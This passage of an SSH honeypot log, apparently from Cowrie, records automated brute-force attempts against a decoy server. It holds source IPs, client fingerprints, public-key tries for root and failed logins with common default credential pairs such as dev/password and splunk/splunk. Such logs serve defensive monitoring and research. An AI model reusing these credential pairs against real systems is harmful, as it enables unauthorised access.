0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:25.051399Z","src_ip":"91.92.42.227","session":"030826b22583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:25.535613Z","src_ip":"91.92.42.227","session":"4c8b4234ea29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55682,"dst_ip":"10.17.0.5","dst_port":22,"session":"45ff0c0fcae5","protocol":"ssh","message":"New connection: 45.156.87.147:55682 (10.17.0.5:22) [session: 45ff0c0fcae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:28.076009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:28.080592Z","src_ip":"45.156.87.147","session":"45ff0c0fcae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:28.167974Z","src_ip":"45.156.87.147","session":"45ff0c0fcae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:28.395027Z","src_ip":"91.92.42.227","session":"030826b22583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"password","message":"login attempt [fivem/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:28.415127Z","src_ip":"45.156.87.147","session":"45ff0c0fcae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:29.499699Z","src_ip":"45.156.87.147","session":"45ff0c0fcae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:30.035501Z","src_ip":"91.92.42.227","session":"030826b22583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40844,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d196cb7d982","protocol":"ssh","message":"New connection: 91.92.42.227:40844 (10.17.0.5:22) [session: 0d196cb7d982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:32.695543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:32.918770Z","src_ip":"91.92.42.227","session":"0d196cb7d982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:32.921841Z","src_ip":"91.92.42.227","session":"0d196cb7d982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:33.851166Z","src_ip":"91.92.42.227","session":"0d196cb7d982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50404,"dst_ip":"10.17.0.5","dst_port":22,"session":"304959c5062e","protocol":"ssh","message":"New connection: 45.156.87.147:50404 (10.17.0.5:22) [session: 304959c5062e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:33.982090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:33.985664Z","src_ip":"45.156.87.147","session":"304959c5062e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:34.068257Z","src_ip":"45.156.87.147","session":"304959c5062e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:34.318433Z","src_ip":"45.156.87.147","session":"304959c5062e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:34.997519Z","src_ip":"91.92.42.227","session":"0d196cb7d982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:35.412419Z","src_ip":"45.156.87.147","session":"304959c5062e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52064,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4d8180648d","protocol":"ssh","message":"New connection: 91.92.42.227:52064 (10.17.0.5:22) [session: bb4d8180648d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:39.527873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:39.627238Z","src_ip":"91.92.42.227","session":"bb4d8180648d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:39.631684Z","src_ip":"91.92.42.227","session":"bb4d8180648d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57982,"dst_ip":"10.17.0.5","dst_port":22,"session":"51792ce17676","protocol":"ssh","message":"New connection: 45.156.87.147:57982 (10.17.0.5:22) [session: 51792ce17676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:39.820604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:39.825227Z","src_ip":"45.156.87.147","session":"51792ce17676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:39.996280Z","src_ip":"45.156.87.147","session":"51792ce17676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:40.335265Z","src_ip":"45.156.87.147","session":"51792ce17676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:40.757138Z","src_ip":"91.92.42.227","session":"bb4d8180648d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:41.423039Z","src_ip":"45.156.87.147","session":"51792ce17676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:42.037819Z","src_ip":"91.92.42.227","session":"bb4d8180648d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.64.228","src_port":57346,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b2e1987c7dd","protocol":"ssh","message":"New connection: 217.156.64.228:57346 (10.17.0.5:22) [session: 9b2e1987c7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:44.797544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:44.801707Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:44.930653Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:8e:19:bd:74:87:5e:35:d0:20:3d:c3:63:a9:35:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGtOYLkvVoGRtqMz91L5gpFucziIvOxxQPxOfTK1U9AyvOnEEMnYjY4D+ahUgSmKcjNhAHs4yPRF4k7j4caMjaEB6gjvx48n2OROvYZLaRjRS+hrb7+COSA8j2Jjrxg+3NivPmU2Ktq/Cfex3Uqrtz9QbbYaP9f5uRjfH9UBO8ZefkgA7YtJcr1Cmd36rBjLbWV6lGTj0wvRoGRoo0EouC8yXIVtcV+tN6U76zNfG7EYK1Ubrm89JOsI+pyZbmg6EIWyPEdnji2IjxGFL9i0k4liuxvPkQFZf/jp6rol7qQy44HKx2oMxUGkZTreAo6SDPmBAZU1LLW/4MugK00/9z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:8e:19:bd:74:87:5e:35:d0:20:3d:c3:63:a9:35:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.552722Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:8e:19:bd:74:87:5e:35:d0:20:3d:c3:63:a9:35:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGtOYLkvVoGRtqMz91L5gpFucziIvOxxQPxOfTK1U9AyvOnEEMnYjY4D+ahUgSmKcjNhAHs4yPRF4k7j4caMjaEB6gjvx48n2OROvYZLaRjRS+hrb7+COSA8j2Jjrxg+3NivPmU2Ktq/Cfex3Uqrtz9QbbYaP9f5uRjfH9UBO8ZefkgA7YtJcr1Cmd36rBjLbWV6lGTj0wvRoGRoo0EouC8yXIVtcV+tN6U76zNfG7EYK1Ubrm89JOsI+pyZbmg6EIWyPEdnji2IjxGFL9i0k4liuxvPkQFZf/jp6rol7qQy44HKx2oMxUGkZTreAo6SDPmBAZU1LLW/4MugK00/9z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.557322Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:ef:9e:61:b7:48:7f:77:da:de:8d:b9:f1:b8:eb:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfUh5IvhsbtTb7MonE01KQTI0gw+S6oWbzncAoirCWRkhlSu1/rNdlIdqH2xxe650EPrW/6i3SW5szanIVRZtmQjQAGcpu5cwou8DcFBwsA0k+seZWLut/kLJ5RT/EPVG+XVheFdzMUeuGigQzpww3LW0bFtMtQigSu8Fvno21BRQb1SRKtoP6SPsqAFu2fJyqtuE0I7jonQBks0HgK2DUmLxf2W/9thczexUlG+ih07Doprfmfmd86JlYKmyhuGj0St9PuPybHa2ZBWJzbfKpCq+0RyL5jUx9ZeeawdauvC17gDxdP4GG1Ap2Ni+SlgeBubEJia7MIEo3+zlkHsDnZ1XnkOwEuAJoy4KcDtv3Az4+yLXvSicaEFpfO9XZyk3jKi6+7KXYPXIAh384F1vY84E1m8TBKfebA4eH51II2tG8CEB/MNPIRxSM7N35I+kk8ngh/gX6mOee4dDPXxbSC+VSTlCGtZ+P9sTZ53WXMo/XjX7AaB35+V2bUd15ayk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:ef:9e:61:b7:48:7f:77:da:de:8d:b9:f1:b8:eb:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.685362Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:ef:9e:61:b7:48:7f:77:da:de:8d:b9:f1:b8:eb:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfUh5IvhsbtTb7MonE01KQTI0gw+S6oWbzncAoirCWRkhlSu1/rNdlIdqH2xxe650EPrW/6i3SW5szanIVRZtmQjQAGcpu5cwou8DcFBwsA0k+seZWLut/kLJ5RT/EPVG+XVheFdzMUeuGigQzpww3LW0bFtMtQigSu8Fvno21BRQb1SRKtoP6SPsqAFu2fJyqtuE0I7jonQBks0HgK2DUmLxf2W/9thczexUlG+ih07Doprfmfmd86JlYKmyhuGj0St9PuPybHa2ZBWJzbfKpCq+0RyL5jUx9ZeeawdauvC17gDxdP4GG1Ap2Ni+SlgeBubEJia7MIEo3+zlkHsDnZ1XnkOwEuAJoy4KcDtv3Az4+yLXvSicaEFpfO9XZyk3jKi6+7KXYPXIAh384F1vY84E1m8TBKfebA4eH51II2tG8CEB/MNPIRxSM7N35I+kk8ngh/gX6mOee4dDPXxbSC+VSTlCGtZ+P9sTZ53WXMo/XjX7AaB35+V2bUd15ayk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.688444Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:b5:26:f6:e4:d2:b9:b3:1d:70:55:1c:83:ed:47:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK5mvMm77GSHAPVMJxCJZl5YeeGytaibyhC9WveGsOm05G7y6sBLHLAQ9eLN6W19MK6nCsSE+xjYlWwjxTrje//7zmKYRwI16c9gwMh0AL4xDmhZIryKjBDizWbUQCWD4fgFoNMK7SK2DvpJmi/RnNKK7P/iUmK/+nO/vKjBpXgzIi54Ot6XUgdovA/CC7tV/rIwI3vISTzXIGXVnFi2TRfyimPUou//oOFYlQwTNnKJlY+yOvKVscoudI3KoAlvoykOtc09qZ0Oz1f1P7GTsjwIHdO89mg76RpmScGh85FMvQA/YFRqnBErpnUFV0Hb1Lum0vqU/113BG0rO2a23d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:b5:26:f6:e4:d2:b9:b3:1d:70:55:1c:83:ed:47:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.816031Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
